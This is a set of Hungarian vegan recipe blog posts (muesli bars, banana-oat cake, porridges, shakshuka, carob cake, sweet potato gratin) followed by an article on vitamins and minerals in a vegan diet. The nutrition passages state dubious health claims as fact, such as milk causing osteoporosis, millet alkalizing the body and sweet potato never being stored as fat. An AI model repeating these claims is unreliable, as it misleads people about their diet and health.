Nemrég a legjobb barátnőmmel beszéltünk telefonon (tartottuk egymásban a lelket) – aki szintén két kicsivel van otthon -, hogy nehéz helyzetekben egyszerűen csak a túlélésre játszunk, a szó jó értelmében, persze mindehhez jó sok móka társul, meg birkózás. Tesszük a dolgunkat, aztán a nap végén örömmel nyugtázzuk, hogy mindenki rendben van, nyugodtan alszik és végre van egy kis nyugink.
És hogyan tudjuk élvezni az esti nyuginkat? Hát úgy, hogy megeszünk néhány kockát egy ilyen banános diós puffasztott quinoás müzli szeletből, ami nyakon van öntve egy kis csokoládé szósszal. Eredeti recept innen, én egy keveset módosítottam rajta.
Banános diós puffasztott quinoás müzli szelet (vegán)
Hozzávalók:
Müzli szelethez:
– 2 bögre apró szemű zabpehely
– 1 és 1/2 bögre puffasztott quinoa
– 1 bögre dió, felaprítva
– 1/2 bögre tönköly fehérliszt (teljeskiörlésű liszt is használható)
– 1/2 bögre kókuszzsír, megolvasztva
– 1 db érett banán, meghámozva, néhány darabra törve
– 10 db datolya, kimagozva, meleg vízben áztatva 10 percig, majd leszűrve
– 1 teáskanál őrölt vanília vagy 1 vaníliarúd kikapart magjai
– csipet Himalaya só
Csokoládé öntethez:
– 4 evőkanál kókuszzsír
– 2-3 evőkanál kakaópor vagy karobpor
– 2-3 evőkanál datolyaszirup
– 1 evőkanál mandulavaj vagy kesudióvaj
– csipet só
Melegítsük elő a sütőt 180C fokra. Sütőpapírral béleljünk ki egy kb. 20*20 cm-es négyzet formát (ha szilikon formánk van, akkor nem kell kibélelni papírral).
Egy tálban keverjük össze a zabpelyhet, a lisztet, a sót és a vaníliát.
Tegyük robotgépbe (aprítógépbe) a datolyát, az olvasztott kókuszzsírt és a banánt. Pürésítsük simára. Öntsük ezt a keveréket a száraz hozzávalókhoz. Adjuk hozzá az aprított diót és puffasztott quinoát. Jól keverjük el. Öntsük bele a müzli keveréket a sütőformába, majd kézzel alaposan nyomkodjuk bele a formába. Ahhoz, hogy szép sima legyen a teteje, használjunk egy kis darab sütőpapírt, erre tegyünk egy poharat és a forma tetején végighaladva egyengessük el a müzli “süti” tetejét.
A csokoládé öntethez egy lábasban melegítsük át a datolyaszirupot, a kókuszzsírral, a mandulavajjal és a kakaóval/karobbal. A tűzhelyről levéve adjuk hozzá a csipet sót. A langyosra hűlt krémet csorgassuk a kihűlt müzli “süti” tetejére.
Vágjuk kockákra vagy hosszúkás szeletekre. Zsírpapírba csomagolva az egyes darabokat kiváló lehet utazáshoz, kirándulásra, vagy óvodába, iskolába uzsonnára.
Pikk-pakk kész, banános zabpelyhes kevert, akár reggelire is (laktózmentes, tojásmentes, vegán)
2016. február 25. Zöld Avocado
banános zabpelyhes sütemény (laktózmentes, tojásmentes, vegán) Ritkán készítek sütőben sült süteményeket, amik főként lisztből és édesítőszerből állnak. Általában, ha édességre vágyunk, vagy vendégek jönnek, nyers vegán édességeket, kókuszgolyókat, kekszet, muffint teszek az asztalra. Inkább a főételre helyezem a hangsúlyt, és a több időt! Desszertnek valami gyorsan elkészíthető, de mutatós receptet választok. Édes ízből, egy kiadós ebéd vagy vacsora után, úgyis csak pár falatot kíván az ember. ;-) Persze teljesen más tészta az, amikor rádtör az érzés, hogy az elégetett kalóriákat, most azonnal édes és gyorsan felszívódó szénhidrátbombával szeretném pótolni! Ilyen is előfordul! Velem nem sokszor, de előfordul. ;-) Így történt, hogy leporoltam egy régebbi egészségtelen kevert tészta receptet, és pár egyszerű cserével egy vegán, könnyebben emészthető, reformosabb, de még mindig kalóriában gazdag (nem fogyókúrás süti), villámgyorsan elkészíthető, és egyszerű, banános kevert süteményt kaptam eredményül. Pillanatok alatt elkészült és pillanatok alatt el is fogyott. :-) banános zabpelyhes sütemény (laktózmentes, tojásmentes, vegán) Nem erősségem a sütés, szerencsére nem is sűrűn van rá igény. A külalakon még lehet dolgozni. A fejemben úgy álmodtam meg, hogy szép csíkos süti lesz (sárga és barna csíkos), illetve a sütemény tetején a Földrengés utáni szakadékok, és földcsuszamlásokra emlékeztető repedések sem voltak a tervben. Azóta már kicsit utánaolvastam, és állítólag, ha sütés közben, amikor már van kérge a süteménynek, de még belül nyers, megböködöm a tetejét, akkor a lyukakon távozik a sütemény belsejéből a sütés közben felszabadult levegő, és nem reped szét. Van benne logika, úgyhogy legközelebb kipróbálom. ;-) A "szépség", és a kevésbé értékes tápanyagok ellenére egy nagyon finom, és nagyon egyszerűen elkészíthető, pikk-pakk kész sütemény készült. Fogadjátok sok szeretettel! Arról, hogy miért hasznos tápanyagforrás a banán, illetve, hogy miért értékes gabona a zab, itt a Zöld Avocado vegetáriánus gasztroblogon korábban már esett szó. Itt és itt olvashatjátok! zabpehely HOZZÁVALÓK (30x10 cm-es hosszúkás sütőformához) - 100 g zabpehely (GM) - 100 g (barna) rizsliszt - 1/2 tk szódabikarbóna - csipet Himalája só - 50 g kókuszcukor (egyéb tetszés szerinti édesítőszer) - 1/2 kk őrölt fahéj - 1 el őrölt lenmag + 3 ek tiszta víz (vegán tojáspótló) - 50 ml kókuszolaj - 100 ml rizstej (egyéb tetszés szerinti növényi tej) - 2 db érett banán - 3 ek bio kakaópor vagy karobpor - (elhagyható - 2 ek chia mag) banános zabpelyhes sütemény (laktózmentes, tojásmentes, vegán) ELKÉSZÍTÉSA vegán tojáspótlóhoz a frissen darált lenmagot a háromszoros mennyiségű vízzel elkeverjük, és félretesszük állni 15 percre (kocsonyásodni). Közben a zabpelyhet ledaráljuk, és összekeverjük a többi száraz hozzávalóval: rizsliszt, szódabikarbóna, só, édesítőszer és fahéj. (Chia mag) A folyékony hozzávalókat is összekeverjük egy másik tálban: vegán tojáspótló, kókuszolaj, és a banánpép (turmixolt vagy villával összetört banánok). A folyékony és száraz hozzávalókat egybeöntjük, és csomómentesre keverjük. Készíthetjük az egészet "csokisra", vagy kakaó nélkül világosszínűre, de készíthetjük felesben is. A kikevert tészta felét áttesszük egy másik tálba, és kakóporral vagy karobporral összekeverjük. Amikor a kókuszzsírral kikent és kilisztezett sütőformánkba tesszük, akkor rétegesen változtathatjuk a színeket. (Alulra a kakaós tésztából, majd a világosból, újra kakaós, majd újra világos). Előmelegített sütőben 180 °C-on kb. 35 perc alatt készre sütjük a gyors kevert süteményünket. banános zabpelyhes sütemény (laktózmentes, tojásmentes, vegán) TÁPLÁLKOZZ, NE CSAK ÉTKEZZ! :-) Megjegyzés: Mivel lassan felszívódó, rostban gazdag, laktató zabpehelyből készült, így akár reggelinek, vagy tízórainak is tökéletes.
Kesudióvajas datolyás köleskása (vegán)
2016. február 20. Zizi kalandjai
Kölest még soha nem ettünk reggelire… pedig lúgosít, szebbé teszi a bőrünket, hajunkat, gluténmentes, erősíti csontjainkat és magas ásványi anyag tartalommal rendelkezik.
A Biorganik új termékei között vannak instant kásák (gluténmentesek!!!), mi ebből próbáltunk már ki többfélét. Ezt a kölest, valamint rizst reggelire, a kukoricából pedig vacsit főztem. Villámgyorsan készen van, csak a folyadékot kell hozzá megmelegíteni. Mi persze felturbóztuk extrákkal a kását, így lett belőle egy laktató, tápanyagokban gazdag reggeli. És szemmel láthatóan szebbek is lettünk tőle!
Ne habozzatok kipróbálni!
Kesudióvajas datolyás köleskása (vegán)
Hozzávalók kb. 3 főre:
– 1 bögre instant köleskása
– 2 bögre zabtej (rizs-, szója-, mandulatej is használható)
– 3 teáskanál datolyaszirup
– 2 teáskanál kesudióvaj (mandula-, földimogyoróvaj is használható)
– 1 teáskanál extra szűz kókuszzsír
– 1 vaníliarúd kikapart magjai
– tálaláshoz: dió, mandula, kesudió, hántolt kendermag, lucuma vagy kendermag por, gyümölcs
Egy lábasban melegítsük fel a zabtejet és lassan kezdjük el adagolni hozzá a kölest, közben folyamatosan kevergessük. Néhány perc után adjuk hozzá a datolyaszirupot, a vaníliát, majd zárjuk el alatta a gázt (ha túl sűrűnek találjuk, adjunk még hozzá egy kevés zabtejet).
Ekkor keverjük bele a kesudióvajat és a kókuszzsírt, majd tálaljuk azonnal.
Mandulavajas zabkása
2016. február 14. Éltető ételek
Nem lehet megunni ezeket a kásákat. :) Imádom bennük azt, hogy végtelen lehetőségeket rejtenek, és mindig más íz kerekedik ki belőlük. Már aki szereti a változatosságot. :) A gyerekeim reggel a legegyszerűbb változatot kérik, a kókuszos-vaníliásat, amelyre kerül egy kevéske 70%-os étcsoki, és mellé a mandulatej. Nos, ez a mandulavajas kása igazán telt ízű, a narancshéj pedig kifejezetten pikánnsá teszi. Én most banánnal készítettem, de akár almával vagy körtével is nagyon finom lehet. Hozzávalók (1 adag): - 1/2 csésze aprószemű zabpehely - 1 és egy pici csésze rizstej-víz elegy - 1 evőkanál kókuszreszelék - 1 evőkanál mazsola - késhegynyi vaníliapor - csipet himalája só - 1 teáskanál kókuszvirágcukor - 2 teáskanál Rapunzel mandulavaj - bio narancs héja (ízlés szerint) - 1/2 banán felkarikázva Elkészítése: A vizes rizstejet tegyük fel egy lábasba főni. Öntsük bele a kókuszreszeléket, a fűszereket és a zabpehelyt. - 5-8 perc alatt főzzük puhára.Vegyük le a tűzről, és keverjük hozzá a mandulavajat és a felkarikázott banánt. Ízlés szerint csorgassunk rá egy pici juharszirupot.Mit kell tudni a Rapunzel magkrémekről? Először is azt, hogy ezek 100%-os magrémek, tehát nincs bennük se cukor, se adalékanyag, se tartósítószer.. és VEGÁN. Meglepő lehet, hogy a krém tetején egy ujjnyi olajréteget látsz. Nos, ez a magkrém olaj tartalma. Ebből is látszik, hogy nem tartalmaz semmilyen emulgeálószert. Ilyenkor a megoldás roppant egyszerű. NE öntsd le a tetejéről, hanem egy teáskanál segítségével jól keverd fel. Néhány perc alatt nagyon szépen elegyedik, és már ehető, kenhető is. Én ITT szerzem be ezeket a Rapunzel magkrémeket.
Vegán saksuka
2016. február 12. Mindennapi ételeink
Nagyon finom egytálétel, melyet több nemzet is nemzeti ételként fogyaszt. Mi is megkóstoltuk. Tulajdonképpen egy felturbózott lecsóról van szó. Hozzávalók: 2 közepes vöröshagyma 3 gerezd fokhagyma 3 paprika (édes) 4 közepes paradicsom 1 cukkini 1 padlizsán 3 közepes burgonya 1 dl olvasztott kókuszzsír 2,5 dl víz 10 dkg paradicsompüré bazsalikom, rozmaring, kakukkfű, zsálya Elkészítés: A hagymát meghámozzuk, majd felaprítjuk és vízzel összekevert olajon megpároljuk. A paprikákat megmossuk és kockákra szeljük, majd 1 ek. olajjal kikent tepsibe tesszük és 180 fokon 10 perc alatt megpirítjuk. A hagymás alaphoz hozzáadjuk a kockákra vágott paradicsomot, a megsült paprikát, burgonyát (ezt előzőleg meghámozzuk), felkockázott cukkinit, padlizsánt és a paradicsompürét. Annyi vízzel felengedjük, hogy tudjanak párolódni a zöldségek. Készre főzzük. A legvégén adjuk hozzá a sót, a fűszereket pedig lezárás előtt 5-10 perccel. Mivel krumplit tartalmaz, önmagában fogyasztható, de gazdagíthatjuk krumpli helyett édesburgonyával, vagy ha elhagyjuk a krumplit, tálaljuk rizzsel, kuszkusszal, bulgurral, netán kölessel.
Karobtorta málnával
2016. február 11. Mindennapi ételeink
Vegán karobtorta málnával?IGEN!!! Hozzávalók: 15 dkg finomliszt 10 dkg teljes őrlésű tönkölyliszt 2 ek. karobpor 1 cs. foszfátmentes sütőpor 10 dkg nyírfacukor 8 ek. olaj 2,5 dl növényi tej 1 citrom leve -- víz , nyírfacukor - a mázhoz Elkészítés: Előbb a száraz hozzávalókat keverjük össze, majd ehhez hozzáadjuk a nedveseket, összekeverjük és lisztezett, olajjal kikent formába tesszük és előmelegített sütőben 175 fokon 30 perc alatt kisütjük. Bármilyen krémet tehetünk bele (pl. kókuszkrémet, diókrémet, gesztenyekrémet), de magában, gyümölcsökkel is fogyaszthatjuk.
Édesburgonya - padlizsán gratin, azaz a csőben sült verzió (gluténmentes, tojásmentes)
2016. február 11. Zöld Avocado
Egy kis technikai szünet után (úgy kezdődött, hogy takarítottam, és úgy végződött, hogy csúnyán lezuhant a laptopom a földre:-( ) újabb, gyorsan elkészíthető, egyszerű, glutén- és tojásmentes, vegánosítható recepttel készültem nektek itt a Zöld Avocado vegetáriánus gasztroblogon. Nem lett olyan szép, mint, amilyen a fejemben volt, de nagyon finom! :-) édesburgonya-padlizsán gratin (tojás- és gluténmentes) A szubtrópusi területeken az egyik legfontosabb népélelmezési cikk az édesburgonya, mely Magyarországon is egyre népszerűbb, és egyre több helyen lehet hozzájutni. Bár az ára még hagy némi kívánnivalót maga után, azért ne ijedjünk meg a burgonya szó hallatán. Közel sincs szükségünk édesburgonyából akkora mennyiségre, mint amihez a hagyományos burgonyavásárláskor szoktunk. Sőt mi több! Valójában az édesburgonya nem is burgonya, és inkább hasonlít a sütőtökhöz, mint a krumplihoz. Fogyaszthatjuk sütve, főzve, készíthetünk belőle töltött burgonyát, rakottakat, krumplipürét, de még édességeket, pitéket is. ;-) Magas szénhidrát tartalma ellenére én szívesen ajánlom mindenkinek, mert nagyon könnyen emészthető, magas rosttartalmú zöldségről van szó, melynek tápanyagi hasznosulnak a szervezetben, a felesleg pedig távozik a testből, és nem rakódik le zsírpárnák formájában. :-) Édes íze miatt azt hinnénk, hogy a cukorbetegeknek tiltólistás alapanyag. Ez tévedés! A diabétesszel küzdők számára egyenesen ajánlott az édesburgonya fogyasztása. (Bővebben a témáról itt olvashattok!) Vélhetően a népszerűséggel, a kínálat is nőni fog, több kereskedőtől beszerezhető lesz majd, és talán így az ára is lejjebb megy, hogy mindenki számára elérhető legyen, mert rengeteg jótékony tulajdonsága van. Nyugat-európa már itt tart! :-) Például Írországban a hagyományos burgonyafogyasztás visszaszorult, és hetente akár többször is kerül az asztalra ebből a finom, édes és csodaszép burgonyából, melyet batáta néven is kereshetünk a zöldségesnél. édesburgonya / batáta Miért hasznos tápanyagforrás az édesburgonya? "Az édesburgonya húsos, gumószerűen megvastagodott gyökere szénhidrátban és (különösen a sárga húsú fajta) béta-karotinban gazdag. C-vitamin-tartalma 15-30 mg/100 g, de tartalmaz B1, B2, B6, és E vitaminokat is. A többi zöldségféléhez képest sok, 1,5-2 g/100 g fehérje található benne, amelynek összetétele a tojáséhoz hasonló. Délkelet-Ázsiában a zsenge leveleit, hajtásait is fogyasztják, ezekben a gyökerénél is több a C-vitamin és a béta-karotin. Értékes ásványi anyagokat tartalmaz: kalcium, vas, magnézium, mangán, kálium, foszfor, nátrium, szelén, réz és cink is található benne. Egy perui kutatóközpont, a Limában működő Nemzetközi Burgonyaközpont (CIP) szakértője, Daniel Reynoso Tantalean az édesburgonyával foglalkozó tanulmányában azt állítja, hogy a batátának gazdag ásványi anyagtartalma miatt daganatmegelőző hatása is van, csökkenti a gyomorrák és a májbetegségek kockázatát és antioxidánsai, vitaminjai és proteinjei segítenek megőrizni a fiatalságot. Energiatartalma száz grammban 117 kalória, így akár a fogyókúrázók is beleilleszthetik az étrendjükbe. " Forrás: Házipatika édesburgonya-padlizsán gratin (tojás- és gluténmentes) HOZZÁVALÓK (4 személyre) - 500 g édesburgonya / batáta - 1 db nagyobb méretű padlizsán - 200 g kecskesajt - 2 dl főzőtejszín (én szóját használtam) - 1 dl tetszés szerinti tej (én rizstejet használtam) - 2-3 gerezd fokhagyma - 1 tk Himalája só, 1 kk őrölt fehér bors, 1 ek szárított oregánó, csipet őrölt szerecsendió édesburgonya-padlizsán gratin (tojás- és gluténmentes) ELKÉSZÍTÉS A burgonyát és a padlizsánt meghámozzuk, majd vékony karikákra felvágjuk. Egy jénai tálat vékonyan k ikenünk kókuszzsírral, és elkezdjük belerétegezni az édesburgonyát és a padlizsánt egymás után. Ezt megtehetjük állítva, egymás mellé téve és fektetve, egymásra rétegezve is (mint a rakott krumpli). Amihez éppen kedvünk van. ;-) állítva fektetve, rétegezve A szószhoz feltesszük a főzőtejszínt egy lábasban melegedni. Hozzáadjuk az apróra vágott (tépkedett) kecskesajtot, a tejet, és a fűszereket. Közepes lángon addig kevergetjük, míg a kecskesajt teljesen szétmálik, és egynemű öntetet nem kapunk. Amint ezt elértük, nyakon borítjuk vele a jénaiba helyezett burgonya és padlizsán szeletek. A jénait lefedjük alufóliával, és 220 °C - ra előmelegített sütőben kb. 35-40 perc alatt puhára sütjük az egytálételünket. A végeredmény egy édeskés-sajtos olaszos íz, amit nehéz abbahagyni. édesburgonya-padlizsán gratin (tojás- és gluténmentes) Táplálkozzunk, ne csak együnk! :-) Megjegyzés: Az étel könnyedén vegánosítható, vagy átalakítható egyszerű köretté, a főétel helyett. Hagyjuk el a kecskesajtot, az öntetet készítsük növényi tejből és szójából készült tejszínből, majd szórjuk meg a megsült és kész ételt sörélesztőpehellyel, sóval, frissen őrölt fekete borssal. Vagy egyszerűen csak locsoljuk meg a padlizsán- és édesburgonya szeleteket fűszeres olívaolajjal. Majd süssük készre őket. Így az egytálétel, akár köretként is szerepelhet az asztalon.
Vegán étrend, vitaminok és nyomelemek a növényekben
Hogyan képes a vegán étrend a szervezetnek megfelelő mennyiségű vitamint biztosítani? Hogyan viszi be egy vegán a megfelelő mennyiségű vasat, ha nem eszik húst? Könnyebben mint hinnéd!
Mindazonáltal, hogy a vegán életmód nem a táplálkozásról szól, mégis érdemes számos cikket és bejegyzést szentelni a témának, mert ez a legelső olyan társadalmi becsípődés, melyen sokan fennakadnak. A sokaság azt gondolja, hogy a vegán étrenden élők vérszegények, gyengék, betegeskednek. Holott a tapasztalat az ellenkezőjét mutatja.
Milyen tápanyagok bevitelére kell figyelni vegán étrend esetén?
Az amerikai Andrews University Táplálkozástudományi Tanszék igazgatója, Winston Craig egy tanulmányban írta meg, hogy a tudatosan összeállított vegán étrend magasabb arányban tartalmaz C és E-vitamint, magnéziumot és vasat, folsavat valamint rostokat, ugyanakkor kisebb a B12 és D-vitamin, a kalcium és cink, a telített zsír, valamint a kalória tartalma , mint a mindenevő étrendnek. Sok olyan támadás éri a vegán étrendet, miszerint nem lehet teljes életet élni hús, tojás és tejtermékek nélkül. Ugyanakkor kutatások sora bizonyította – és többek között az Amerikai Dietetikai Szövetség, valamint Kanadai Dietetikusok is kijelentették – , hogy nemtől és kortól, valamint életciklustól függetlenül egészséges és teljes értékű életet lehet élni vegán étrend esetén is.
Lassan elfogadott ténnyé válik, hogy a kiegyensúlyozott vegán táplálkozás jobb minőségű zsiradékot, a belek számára kielégítő mennyiségű rostot, a testi valamint mentális munkához szükséges komplexebb szénhidrátokat tartalmaz, mint a mindenevő étrend.
Vegán étrend és a vitamin bevitel
Az egészséges szervezet egyik pillére, a megfelelő mennyiségű és változatos vitamin bevitel. Életvitelünktől és életciklusunktól függően van szüksége szervezetünknek különböző arányban vitaminokra és nyomelemekre. Vegyük sorba először a vitaminokat, valamint azok növényi forrásait.
Vegán étrend és az A-vitamin:
A zsírban oldódó A-vitamin nagyon fontos szerepet tölt be a sejtek egészséges működésében, a csontnövekedésben, valamint gátolja a sejtek deformálódását, roncsolódását. Ajánlott napi bevitel 900 és 1500 ug között mozog, de terhesség és szoptatás esetén 2-2,5 mg-ra is megnövekedhet ez az igény.
Magas A-vitamin tartalmú zöldségek: főtt édesburgonya (11,5mg/100g), főtt sárgarépa (10,2mg/100g), leveles zöldségek (6mg-14mg/130g), sült tök (6,7mg/100g), aszalt barack (7,6mg/100g), sárgadinnye (2mg/100g), kaliforniai paprika (1,8mg/100g), valamint a búzafű, spirulina, grapefruit, goji, chlorella alga, mangó, papaja
Vegán étrend és a B-komplex:
B-komplexnek hívják azt a vízben oldódó vitamincsoportot, mely az összes B-vitamint tartalmazza: B1 (thiamin), B2 (riboflavin), B3 (niacin), B5 (pantoténsav), B6 (piridoxin), B7 (biotin), B9 (folsav) és B12 (kobalamin). Ezek mindegyikére szükségünk van és mindegyik vitaminnak megvan a maga funkciója a szervezetben. Ugyanakkor együttesen járulnak hozzá a sejtek optimális növekedéséhez és osztódásához, támogatják az anyagcserét, egészségesen tartják a bőrt, valamint erősítik az immunrendszert és idegrendszert, védenek a stressz káros hatásai ellen. Ha B-komplex táplálékkiegészítőt szedünk figyeljünk oda, hogy fénytől és fagytól védve tároljuk, mivel a B2 fény hatására, illetve a B6 fagy hatására veszti el hatását. Érdemes még megjegyezni, hogy a B6 felszívódását segíti a B12.
A sörélesztő tartalmazza az összes B-vitamint a B12 aktív típusán kívül.
Növények, melyek tartalmazzák a B-komplex sort a B12 aktív típusán kívül: dió, leveles zöldségek, gabonafélék, banán
Vegán étrend és a B12-vitamin:
A B12 egy vízben oldódó, baktériumok által termelt vitamin, mely növényi étrenddel elenyésző mértékkel vihető csak be. A B12 hozzájárul a normális idegműködéshez, közrejátszik a vörösvértestek kialakulásában és a DNS szintézisben is többek között. Tartós hiánya visszafordíthatatlan idegi alapú károsodást okozhat és nagyon fontos leszögezni, hogy B12 hiányban nem csak vegánok szenvedhetnek, hanem a mindenevők is. Aki nem tudja úgy megtervezni az étkezését, hogy elegendő B12-t vigyen be, annak B12 készítményt ajánlott szedni, melynek vásárlásakor érdemes odafigyelni, hogy a vitamin valamely aktív – a szervezet által felhasználható – formuláját tartalmazza a készítmény. Ilyen a hidroxo-kobalamin és ciano-kobalamin. Étrend kiegészítő vásárlása esetén a ciano-kobalamin tartalmút válaszd, mert azt a típust kifejezetten baktériumkultúrákból nyerik ki. Ez az egyetlen olyan vitamin típus melyet májunk elraktároz és az utolsó bevitel után még évekig adagolja azt a szervezetnek igény szerint. A felnőtt napi szükségletet 2 és 3 ug között határozták meg. (a B12 vitaminnak a későbbiekben egy teljes bejegyzést szentelek)
A B12 aktív formáját minimálisan tartalmazó ételek és növények: kovászos uborka, savanyú káposzta, egyéb erjesztett ételek, bio gazdálkodásból származó mosatlan gyümölcsök és zöldségek
Vegán étrend és a C-vitamin:
A vízben oldódó aszkorbinsav – vagy ahogy többen ismerik C-vitamin – nélkülözhetetlen vitamin típus szervezetünk számára. Vegán étrend esetén kifejezetten fontos a C-vitamin optimális napi bevitele, ugyanis segíti a vas felszívódását. Erős antioxidáns hatása miatt, csökkenti a degeneratív illetve a szív és érrendszeri betegségek kialakulásának kockázatát. Napi 120mg C-vitamin bevitele ajánlott egy egészséges szervezetnek, de betegség, nehéz fizikai munka, megerőltető sporttevékenység, dohányzás, illetve stresszes munka esetén napi 1000mg-ra emelhető a napi adag. A szervezet által fel nem hasznát C-vitamin kiürül oxálsav formájában, mely a húgykő egyik alkotóeleme, így magas C-vitamin bevitele estén sok vizet ajánlatos fogyasztani. Vigyázz a C-vitaminnal, mert 40° felett elbomlik! Így megfázás esetén nincs értelme a citromot forró teába tenni, hacsak nem az íze miatt teszed azt.
Magas C-vitamin tartalommal bíró növények: paprika (120-300mg/100g), guáva (228,3mg/100g), kelbimbó (120mg/100g), kivi (92,6mg/100g), brokkoli (89,2mg/100g), eper (58,8mg/100g), papaja (60,9mg/100g), narancs (53,2mg/100g), mangó (60mg/100g), csipkebogyó, mandarin, citrom, grapefruit, mángold, spenót, áfonya, stb.
Vegán étrend és a D-vitamin:
A zsírban oldódó D-vitamin a másik olyan vitamin, melyet nagyon csekély mennyiségben lehet vegán étrenddel bevinni. Érdemes D-vitamin táplálékkiegészítőt szedni, ugyanakkor bőrszíntől függően napi 10-40 perc napozás is elegendő D-vitamint szabadít fel a szervezetben. Az utóbbi oka, hogy az UV sugárzás hatására a bőrsejtek alatt elhelyezkedő koleszterin D vitaminná alakul, majd sejtjeinkbe kerülve pedig stabilizálja örökítő anyagunkat a DNS-t, ezzel segítve a szervezetet a súlyos betegségek kialakulásával szemben. D-vitamin hiány következtében gyengül az immunrendszer, erősödik a depresszióra való hajlam, valamint fokozhatja a rákos betegségek és a szív- és érrendszeri betegségek kialakulásának kockázatát. Emellett a D-vitamin az egyik legfontosabb vitamin a terhes nők számára is, mivel fontos szerepet játszik az idegrendszer normális fejlődésében, valamint a sejtfejlődés és az immunrendszer működéséhez. Valamint ez az a vitamin, mely a bélből felvett kalciumot beépíti a csontokba és a fogazatba.
A D-vitamin bevitel felső határát 1-3 éves kor között 2500NE-ben (62,5ug), 4-8 éves kor között 3000NE-ben (75ug), míg a többi korosztály esetében 4000NE-ben (100ug) maximalizálták. A napi minimumot pedig kb. 600NE-ben azaz 15ug-ban határozták meg.
D-vitamint tartalmazó növények és ételek: gombák fajtától függően (5-12ug/100g), lenmagolaj, kakaóbab
Vegán étrend és az E-vitamin:
A zsírban oldódó E-vitamin egy könnyedén bevihető vitamin típusnak számít, mely antioxidáns hatású, erősíti az immunrendszert – kifejezetten idős korban –, óvja a szív és érrendszert, gátolja a sejtfalroncsolódást, valamint jótékony hatással bír az agyi működésre. Az ajánlott napi mennyiség felnőttek számára 15mg.
Magas E vitamin tartalmú növények: főtt spenót (2,1mg/100g), mángold (3,2mg/180g), mandula (26,2mg/100g), mogyoró (4,3mg/28g), pirított napraforgó mag (36,3mg/100g), egyéb magvak és diófélék, avokádó (2,1mg/100g), olíva olaj (14,4mg/100g), kivi (1,5mg/100g), főtt brokkoli (1,5mg/100g), búzacsíra, teljes kiőrlésű gabonák, mangó, paradicsom, spárga
Vegán étrend és K-vitamin:
A zsírban oldódó K-vitaminnak nagy szerepe van a véralvadás optimális működésében, támogatja a csontok egészséges növekedését és erősíti azokat. K-vitamin hiány esetén egy egészen kicsi seb is sok ideig vérezhet, illetve egy kisebb ütés is komoly véraláfutásos fekete foltot okozhat a testen. Az ajánlott napi mennyiség 90-120?g között mozog felnőttek számára.
Magas K vitamin tartalmú növények: chili por (105,7?g/100g), szárított bazsalikom (1714?g/100g), friss petrezselyem (65,6?g/5g), szárított zsálya (85,6?g/5g), egyéb zöld-fűszerek, főtt fodros kelkáposzta (817?g/100g), spenót (888?g/130g), mángold (572?g/130g), kerti saláta (48?g/130g), egyéb leveles zöldségek, brokkoli (217?g/100g), újhagyma (207?g/100g), zeller (29,6?g/100g), főtt kelbimbó (140,3?g/100g), uborka (76,7?g/100g), zöldborsó, fehérrépa, olívaolaj (60,2?g/100g), aszalt szilva (69,5?g/100g), aszalt áfonya (96?g/174g), aszalt barack (36,8?g/174g), egyéb aszalt gyümölcsök, erjesztett ételek, stb.
Vegán étrend és a nyomelem bevitel
Most vegyük sorra azokat az ásványi anyagokat, vagy másnéven nyomelemeket, melyek ugyancsak fontosak szervezetünk számára.
Vegán étrend és cink bevitel:
A cink fontos szerepet játszik immunrendszerünk erősítésében és könnyedén pótolható a vegán étrendet követők számára is. Fontos tápanyaga a szervezetnek, mivel többek között segíti a sebgyógyulást. A versenysport, a stressz, a tartós dohányzás és az alkoholfogyasztás azonban növeli a szervezet cink igényét. Az állati eredetű cink jobban hasznosul mint a növényi forrásból bevitt, szervezetünk napi igénye 8-13mg körül van életciklustól függően.
Magas cinktartalmú növényi ételek: aszalt sárgabarack (1mg/100g), aszalt őszibarack (0,78mg/100g), aszalt szilva (0,75mg/100g), mazsola (0,66mg/100g), aszalt füge (0,55mg/100g), datolya (0,29mg/100g), egyéb aszalt gyümölcsök, avokádó (0,68mg/100g), kínai kel (3,75mg/100g), citronella (2,23mg/100g), aszalt paradicsom (1,99mg/100g), főtt shiitake gomba (1,33mg/100g), borsó (1,19mg/100g), valamint lencse, zabpehely, teljes kiörlésű gabonák, hüvelyesek, diófélék, magvak, kakaóbab, brokkoli
Vegán étrend és a kalcium bevitele:
Igyál sok tejet, attól erősödnek a csontjaid. - mondták nagyszüleink. Ehhez képest a legtöbb tejet Amerikában, Angliában, Finnországban és Svédországban isszák, a csontritkulás mégis ezekben az államokban a legelterjedtebb. Kutatások bizonyították, hogy a csontritkulás összefügg a túlzott tejfogyasztással. Az állati eredetű fehérjedús ételek – húsok, tejtermékek – savassá teszik a szervezetet, melyet a szervezet kalciumelvonással igyekszik semlegesíteni. Ezt a kalciumot a csontokból és a fogakból vonja el és a vizelettel ürül. Mindezen hatásokat ellensúlyozni lehet magas kalciumtartalmú növényi étrenddel és D-vitaminnal, mely a kalcium felszívódását segíti. Gyerekkorban napi 1200mg körül, felnőtt korban 800-1000mg körül van az ideális kalcium bevitel.
Magas kalciumtartalommal az alábbi növények bírnak: főtt brokkoli (118mg/100g), főtt spenót (136mgmg/100g), káposzta (232mg/100g), kelpáposzta 205mg/100g), egyéb leveles zöldségek, tarlórépa (190mg/100g), cékla zöldje (117mg/100g), újhagyma (73mg/100g), póréhagyma (59mg/100g), főtt zöldbab (55mg/100g), articsóka (44mg/100g), édes burgonya (38mg/100g), répa (33mg/100g), rebarbara (86mg/100g), fekete ribiszke (55mg/100g), narancs (40mg/100g), füge (35mg/100g), kivi (34mg/100g), továbbá a mák, napraforgómag, szezámmag, petrezselyem, mandula, amaránt, köles, spirulina, chia mag, melasz, baobab gyümölcs és számos egyéb zöldség és gyümölcs tartalmaz kalciumot
Vegán étrend és magnézium bevitel:
A magnézium segíti az idegrendszer működését, védi a szív és érrendszert, segít megelőzni a szívbetegségeket és csökkenti az agyvérzés kockázatát. Ez az ásványi anyag sokkal nagyobb mennyiségben található növényi eredetű táplálékban mint állati eredetűben. Emelkedett magnézium igény lép fel terhesség, versenysport és lábadozó szervezet esetében. Felszívódását a B6 vitamin segíti, az ajánlott napi mennyiség 300-400mg körül van. Fogyókúra és alkoholizmus esetén is megnövekedik a szervezet magnézium igénye, illetve magnézium hiány léphet fel, mely ingerlékenységgel, szorongással, enyhébb alvászavarokkal jár.
